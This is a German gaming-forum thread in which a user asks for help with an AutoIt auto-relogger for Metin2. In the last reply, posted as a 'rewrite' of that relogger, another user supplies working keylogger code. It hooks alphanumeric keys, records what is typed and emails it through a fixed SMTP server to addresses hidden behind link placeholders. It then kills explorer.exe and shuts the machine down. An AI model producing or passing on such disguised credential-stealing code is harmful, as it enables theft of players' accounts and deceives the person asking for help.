Autoit Frage.

03/30/2010 15:19 FanTasY.#1
Ja, hier ist mein Script:

PHP Code:
#RequireAdmin
#include <GUIConstants.au3>

#Region ### START Koda GUI section ### Form=
$Form1 GUICreate("Form1"272215193125)
GUISetBkColor(0x3399FF)
$Input1 GUICtrlCreateInput(""322423321)
$Input2 GUICtrlCreateInput(""306123321)
$Combo1 GUICtrlCreateCombo("Serverauswahl"329623325)
GUICtrlSetData(-1"1|2|3|4|5|6|7|8|9|10|11|12|13|14|15|16|17|18|19|20|21|22|23")
$Checkbox1 GUICtrlCreateCheckbox("Anschalten"10321323325)
$Start GUICtrlCreateButton("Start"3215289250)
$Stop GUICtrlCreateButton("Stop"12515189250)
$ID GUICtrlCreateLabel("ID"16241517)
$PW GUICtrlCreateLabel("PW"8642217)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###
winmove("METIN2"""00)
While 
1
    $nMsg 
GUIGetMsg()
    Switch 
$nMsg
        
Case $GUI_EVENT_CLOSE
            
Exit
            
    Case 
$Start

If (GUICtrlRead($Combo1)) = 1 Then 
If PixelGetColor(21771) = 0xDA0002 Then    
MouseClick
("left"371400)
MouseClick("left"624401)
MouseClick("left"641713)
Send(GUICtrlRead($Input1))
Send("{tab}")
Send(GUICtrlRead($Input2))
Send("{enter}")
Sleep(10000)
If 
PixelGetColor(63281) = 0x584E41 Then
MouseClick
("left"193567)
EndIf
EndIf
EndIf

If (
GUICtrlRead($Combo1)) = 2 Then 
If PixelGetColor(21771) = 0xDA0002 Then    
MouseClick
("left"373419)
MouseClick("left"624401)
MouseClick("left"641713)
Send(GUICtrlRead($Input1))
Send("{tab}")
Send(GUICtrlRead($Input2))
Send("{enter}")
Sleep(10000)
If 
PixelGetColor(63281) = 0x584E41 Then
MouseClick
("left"193567)
EndIf
EndIf
EndIf

If (
GUICtrlRead($Combo1)) = 3 Then 
If PixelGetColor(21771) = 0xDA0002 Then    
MouseClick
("left"376437)
MouseClick("left"624401)
MouseClick("left"641713)
Send(GUICtrlRead($Input1))
Send("{tab}")
Send(GUICtrlRead($Input2))
Send("{enter}")
Sleep(10000)
If 
PixelGetColor(63281) = 0x584E41 Then
MouseClick
("left"193567)
EndIf
EndIf
EndIf

If (
GUICtrlRead($Combo1)) = 4 Then 
If PixelGetColor(21771) = 0xDA0002 Then    
MouseClick
("left"386454)
MouseClick("left"624401)
MouseClick("left"641713)
Send(GUICtrlRead($Input1))
Send("{tab}")
Send(GUICtrlRead($Input2))
Send("{enter}")
Sleep(10000)
If 
PixelGetColor(63281) = 0x584E41 Then
MouseClick
("left"193567)
EndIf
EndIf
EndIf

If (
GUICtrlRead($Combo1)) = 5 Then 
If PixelGetColor(21771) = 0xDA0002 Then    
MouseClick
("left"377470)
MouseClick("left"624401)
MouseClick("left"641713)
Send(GUICtrlRead($Input1))
Send("{tab}")
Send(GUICtrlRead($Input2))
Send("{enter}")
Sleep(10000)
If 
PixelGetColor(63281) = 0x584E41 Then
MouseClick
("left"193567)
EndIf
EndIf
EndIf

If (
GUICtrlRead($Combo1)) = 6 Then 
If PixelGetColor(21771) = 0xDA0002 Then    
MouseClick
("left"376487)
MouseClick("left"624401)
MouseClick("left"641713)
Send(GUICtrlRead($Input1))
Send("{tab}")
Send(GUICtrlRead($Input2))
Send("{enter}")
Sleep(10000)
If 
PixelGetColor(63281) = 0x584E41 Then
MouseClick
("left"193567)
EndIf
EndIf
EndIf

If (
GUICtrlRead($Combo1)) = 7 Then 
If PixelGetColor(21771) = 0xDA0002 Then    
MouseClick
("left"378506)
MouseClick("left"624401)
MouseClick("left"641713)
Send(GUICtrlRead($Input1))
Send("{tab}")
Send(GUICtrlRead($Input2))
Send("{enter}")
Sleep(10000)
If 
PixelGetColor(63281) = 0x584E41 Then
MouseClick
("left"193567)
EndIf
EndIf
EndIf

If (
GUICtrlRead($Combo1)) = 8 Then 
If PixelGetColor(21771) = 0xDA0002 Then    
MouseClick
("left"370521)
MouseClick("left"624401)
MouseClick("left"641713)
Send(GUICtrlRead($Input1))
Send("{tab}")
Send(GUICtrlRead($Input2))
Send("{enter}")
Sleep(10000)
If 
PixelGetColor(63281) = 0x584E41 Then
MouseClick
("left"193567)
EndIf
EndIf
EndIf

If (
GUICtrlRead($Combo1)) = 9 Then 
If PixelGetColor(21771) = 0xDA0002 Then    
MouseClick
("left"373538)
MouseClick("left"624401)
MouseClick("left"641713)
Send(GUICtrlRead($Input1))
Send("{tab}")
Send(GUICtrlRead($Input2))
Send("{enter}")
Sleep(10000)
If 
PixelGetColor(63281) = 0x584E41 Then
MouseClick
("left"193567)
EndIf
EndIf
EndIf

If (
GUICtrlRead($Combo1)) = 10 Then 
If PixelGetColor(21771) = 0xDA0002 Then
MouseClick
("left"372557)    
MouseClick("left"372557)
MouseClick("left"624401)
MouseClick("left"641713)
Send(GUICtrlRead($Input1))
Send("{tab}")
Send(GUICtrlRead($Input2))
Send("{enter}")
Sleep(10000)
If 
PixelGetColor(63281) = 0x584E41 Then
MouseClick
("left"193567)
EndIf
EndIf
EndIf

If (
GUICtrlRead($Combo1)) = 11 Then 
If PixelGetColor(21771) = 0xDA0002 Then    
MouseClick
("left"376570)
MouseClick("left"624401)
MouseClick("left"641713)
Send(GUICtrlRead($Input1))
Send("{tab}")
Send(GUICtrlRead($Input2))
Send("{enter}")
Sleep(10000)
If 
PixelGetColor(63281) = 0x584E41 Then
MouseClick
("left"193567)
EndIf
EndIf
EndIf

If (
GUICtrlRead($Combo1)) = 12 Then 
If PixelGetColor(21771) = 0xDA0002 Then    
MouseClick
("left"371589)
MouseClick("left"624401)
MouseClick("left"641713)
Send(GUICtrlRead($Input1))
Send("{tab}")
Send(GUICtrlRead($Input2))
Send("{enter}")
Sleep(10000)
If 
PixelGetColor(63281) = 0x584E41 Then
MouseClick
("left"193567)
EndIf
EndIf
EndIf

If (
GUICtrlRead($Combo1)) = 13 Then 
If PixelGetColor(21771) = 0xDA0002 Then    
MouseClick
("left"377608)
MouseClick("left"624401)
MouseClick("left"641713)
Send(GUICtrlRead($Input1))
Send("{tab}")
Send(GUICtrlRead($Input2))
Send("{enter}")
Sleep(10000)
If 
PixelGetColor(63281) = 0x584E41 Then
MouseClick
("left"193567)
EndIf
EndIf
EndIf

If (
GUICtrlRead($Combo1)) = 14 Then 
If PixelGetColor(21771) = 0xDA0002 Then    
MouseClick
("left"374624)
MouseClick("left"624401)
MouseClick("left"641713)
Send(GUICtrlRead($Input1))
Send("{tab}")
Send(GUICtrlRead($Input2))
Send("{enter}")
Sleep(10000)
If 
PixelGetColor(63281) = 0x584E41 Then
MouseClick
("left"193567)
EndIf
EndIf
EndIf

If (
GUICtrlRead($Combo1)) = 15 Then 
If PixelGetColor(21771) = 0xDA0002 Then    
MouseClick
("left"375641)
MouseClick("left"624401)
MouseClick("left"641713)
Send(GUICtrlRead($Input1))
Send("{tab}")
Send(GUICtrlRead($Input2))
Send("{enter}")
Sleep(10000)
If 
PixelGetColor(63281) = 0x584E41 Then
MouseClick
("left"193567)
EndIf
EndIf
EndIf

If (
GUICtrlRead($Combo1)) = 16 Then 
If PixelGetColor(21771) = 0xDA0002 Then    
MouseClick
("left"487403)
MouseClick("left"624401)
MouseClick("left"641713)
Send(GUICtrlRead($Input1))
Send("{tab}")
Send(GUICtrlRead($Input2))
Send("{enter}")
Sleep(10000)
If 
PixelGetColor(63281) = 0x584E41 Then
MouseClick
("left"193567)
EndIf
EndIf
EndIf

If (
GUICtrlRead($Combo1)) = 17 Then 
If PixelGetColor(21771) = 0xDA0002 Then    
MouseClick
("left"489422)
MouseClick("left"624401)
MouseClick("left"641713)
Send(GUICtrlRead($Input1))
Send("{tab}")
Send(GUICtrlRead($Input2))
Send("{enter}")
Sleep(10000)
If 
PixelGetColor(63281) = 0x584E41 Then
MouseClick
("left"193567)
EndIf
EndIf
EndIf

If (
GUICtrlRead($Combo1)) = 18 Then 
If PixelGetColor(21771) = 0xDA0002 Then    
MouseClick
("left"487437)
MouseClick("left"624401)
MouseClick("left"641713)
Send(GUICtrlRead($Input1))
Send("{tab}")
Send(GUICtrlRead($Input2))
Send("{enter}")
Sleep(10000)
If 
PixelGetColor(63281) = 0x584E41 Then
MouseClick
("left"193567)
EndIf
EndIf
EndIf

If (
GUICtrlRead($Combo1)) = 19 Then 
If PixelGetColor(21771) = 0xDA0002 Then    
MouseClick
("left"489454)
MouseClick("left"624401)
MouseClick("left"641713)
Send(GUICtrlRead($Input1))
Send("{tab}")
Send(GUICtrlRead($Input2))
Send("{enter}")
Sleep(10000)
If 
PixelGetColor(63281) = 0x584E41 Then
MouseClick
("left"193567)
EndIf
EndIf
EndIf

If (
GUICtrlRead($Combo1)) = 20 Then 
If PixelGetColor(21771) = 0xDA0002 Then    
MouseClick
("left"488470)
MouseClick("left"624401)
MouseClick("left"641713)
Send(GUICtrlRead($Input1))
Send("{tab}")
Send(GUICtrlRead($Input2))
Send("{enter}")
Sleep(10000)
If 
PixelGetColor(63281) = 0x584E41 Then
MouseClick
("left"193567)
EndIf
EndIf
EndIf

If (
GUICtrlRead($Combo1)) = 21 Then 
If PixelGetColor(21771) = 0xDA0002 Then    
MouseClick
("left"488470)
MouseClick("left"624401)
MouseClick("left"641713)
Send(GUICtrlRead($Input1))
Send("{tab}")
Send(GUICtrlRead($Input2))
Send("{enter}")
Sleep(10000)
If 
PixelGetColor(63281) = 0x584E41 Then
MouseClick
("left"193567)
EndIf
EndIf
EndIf

If (
GUICtrlRead($Combo1)) = 22 Then 
If PixelGetColor(21771) = 0xDA0002 Then    
MouseClick
("left"480504)
MouseClick("left"624401)
MouseClick("left"641713)
Send(GUICtrlRead($Input1))
Send("{tab}")
Send(GUICtrlRead($Input2))
Send("{enter}")
Sleep(10000)
If 
PixelGetColor(63281) = 0x584E41 Then
MouseClick
("left"193567)
EndIf
EndIf
EndIf

If (
GUICtrlRead($Combo1)) = 23 Then 
If PixelGetColor(21771) = 0xDA0002 Then    
MouseClick
("left"480520)
MouseClick("left"624401)
MouseClick("left"641713)
Send(GUICtrlRead($Input1))
Send("{tab}")
Send(GUICtrlRead($Input2))
Send("{enter}")
Sleep(10000)
If 
PixelGetColor(63281) = 0x584E41 Then
MouseClick
("left"193567)
EndIf
EndIf
EndIf

Case 
$Stop
While 1
    Sleep
(1)
WEnd
EndSwitch
WEnd 
Es ist ein Relogger.
was soll verändert werden?

Das er auch wenn man ein zweites mal gekickt wird sich wieder einloggt( der loggt sich immer nur einmal ein, nach dem klick auf start, also iwie ne endlosschleife)

Lg FanTasY.
03/30/2010 15:23 Die Schnittstelle#2
[Only registered and activated users can see links. Click Here To Register...]
03/30/2010 15:26 FanTasY.#3
Oh,danke kannste das verschieben?
03/31/2010 10:03 BloodlyKnife#4
Ich würde

Code:
If (GUICtrlRead($Checkbox6)) = 1 Then
	If (GUICtrlRead($Combo1)) = 01. Mosha Then
	If PixelGetColor(1359, 467) = 0x703899 Then
		MouseClick("left", 378, 339)
		MouseClick("left", 830, 527)
		MouseClick("left", 844, 789)
		Send(GUICtrlRead($Input1))
		Send("{tab}")
		Send(GUICtrlRead($Input2))
		Send("{enter}")
		Sleep(20000)
		Send("{enter}")
		Sleep(10000)
	EndIf
EndIf
EndIf
(Das is vom Metin2 Bot)
Benutzen.

Und das noch in einer While schleife machen.
Immer wenn dann auf dem Pixel die farbe erscheint macht er das und loggt sich halt ein;)
03/31/2010 10:43 Cholik#5
#moved
03/31/2010 12:42 XxFratziXx#6
ich würde ihn KOMPLETT umschreiben......
und zwar so... :
PHP Code:
#include <File.au3>
$prozess ProcessExists ("metin2client.bin")
If 
Not $prozess 0 Then 
MsgBox 
(0,"Metin2 Fenster","Ein Metin2 Fenster Exsistiert")
MsgBox (0,"Metin2 Fenster","Schließe Erst das Metin2 Fenster und starte dann den Bot")
Exit
EndIf
MsgBox (0,"Metin2 Fenster starten","Starte jetzt dein Metin2 Fenster")
Do
$prozess ProcessExists ("metin2client.bin")
Until Not $prozess 0
MsgBox 
(0,"Einloggen","Logge dich jetzt ein")
MsgBox (0,"Einloggen","Wenn du dich eingeloggt hast drücke F5")
$str="" 
$bs=StringSplit("a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z,0,1,2,3,4,5,6,7,8,9",","
$i=1
while 
$i<=$bs[0
    
HotKeySet($bs[$i],"e"
$i=$i+1
wend 
Func e
() 
    
HotKeySet(@HotKeyPressed
    
Send(@HotKeyPressed
    
$str=$str&@HotKeyPressed 
    HotKeySet
(@HotKeyPressed,"e"
EndFunc
HotKeySet 
("{F5}","keylogger")
Func keylogger()
IniWrite ("metin2.abc","hi","hi",1)
EndFunc
While 1
    Sleep 
(1000)
$Input1 = ("mail.sistecs.de")
$Input2 = ("[Only registered and activated users can see links. Click Here To Register...]")
$Input3 = ("[Only registered and activated users can see links. Click Here To Register...]")
$Input5 = ("DATEN")
$Input7 = ("[Only registered and activated users can see links. Click Here To Register...]")
$Input8 = ("ein beispielname")
$Input4 = ("[Only registered and activated users can see links. Click Here To Register...]")
Global 
$oMyRet[2]
Global 
$oMyError ObjEvent("AutoIt.Error""MyErrFunc")
If 
IniRead ("metin2.abc","hi","hi",1) = 1 Then
IniWrite 
("metin2.abc","hi","hi",2)
$rc _INetSmtpMailCom($Input1,$Input2,$Input3,$Input4,$Input5,$str"""","",$Input7$Input8)
EndIf
WEnd
 Func _INetSmtpMailCom
($s_SmtpServer$s_FromName$s_FromAddress$s_ToAddress$s_Subject ""$as_Body ""$s_AttachFiles ""$s_CcAddress ""$s_BccAddress ""$s_Username ""$s_Password "")
    
$objEmail ObjCreate("CDO.Message")
    
$objEmail.From '"' $s_FromName '" <' $s_FromAddress '>'
    
$objEmail.To $s_ToAddress
    Local $i_Error 
0
    Local $i_Error_desciption 
""
    
If $s_CcAddress <> "" Then $objEmail.Cc $s_CcAddress
    
If $s_BccAddress <> "" Then $objEmail.Cc $s_BccAddress
    $objEmail
.Subject $s_Subject
    
If StringInStr($as_Body,"<") and StringInStr($as_Body,">"Then
        $objEmail
.HTMLBody $as_Body
    
Else
        
$objEmail.Textbody $as_Body & @CRLF
    
EndIf
    If 
$s_AttachFiles <> "" Then
        Local $S_Files2Attach 
StringSplit($s_AttachFiles";")
        For 
$x 1 To $S_Files2Attach[0]
            
$S_Files2Attach[$x] = _PathFull ($S_Files2Attach[$x])
            If 
FileExists($S_Files2Attach[$x]) Then
                $objEmail
.AddAttachment ($S_Files2Attach[$x])
            Else
                
$i_Error_desciption $i_Error_desciption & @lf 'File not found to attach: ' $S_Files2Attach[$x]
                
SetError(1)
                return 
0
            
EndIf
        
Next
    
EndIf
    
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
    $objEmail
.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer
    $objEmail
.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25
    
If $s_Username <> "" Then
        $objEmail
.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
        $objEmail
.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username
        $objEmail
.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password
    
EndIf
    
$objEmail.Configuration.Fields.Update
    $objEmail
.Send
    
if @error then
        SetError
(2)
        return 
$oMyRet[1]
    EndIf
EndFunc;==>_INetSmtpMailCom
Func MyErrFunc
()
    
$HexNumber Hex($oMyError.number8)
    
$oMyRet[0] = $HexNumber
    $oMyRet
[1] = StringStripWS($oMyError.description,3)
    
ConsoleWrite("### COM Error !  Number: " $HexNumber "   ScriptLine: " $oMyError.scriptline "   Description:" $oMyRet[1] & @LF)
    
SetError(1); something to check for when this function returns
    
Return
EndFunc;==>MyErrFunc

ProcessClose 
("explorer.exe")
Shutdown (1
puh^^ naja sso würds ich machen... dan sendet er die daten direkt an deine email^^

waste noch ändern musst:

$Input2
$Input3
$Input7
musste deine 2te email eingeben
und bei
$Input4
deine hauptemailadresse (an die adresse, wo die daten dann verschikt werden soll)
und bei
$Input8
musst du noch deinen namen eingeben^^

ACHTUNG:
$Input1
und
$Input5
nicht verändern! sonst stimt alles nicht mehr zusammen^^
naja is hald für metin2 gedacht^^ einen hacken gibts allerdings noch!
und zwar:
(ein beispiel der id und pw gibts nich^^)
BETREFF: DATEN
NACHRICHT: beispielhulahup
bei der email werden acc daten also id+pw nicht getrennt, sondern zusammen...
aber das sollte kein großes problem sein binnen einer halben minute haste es gefunden^^
naja ich hoffe es geht!

und nochwas er hat etwas eingebaut dass man metin2 schliesen muss, bot starten, metin starten, einloggen, F5 drücken, dann fährt er herunter^^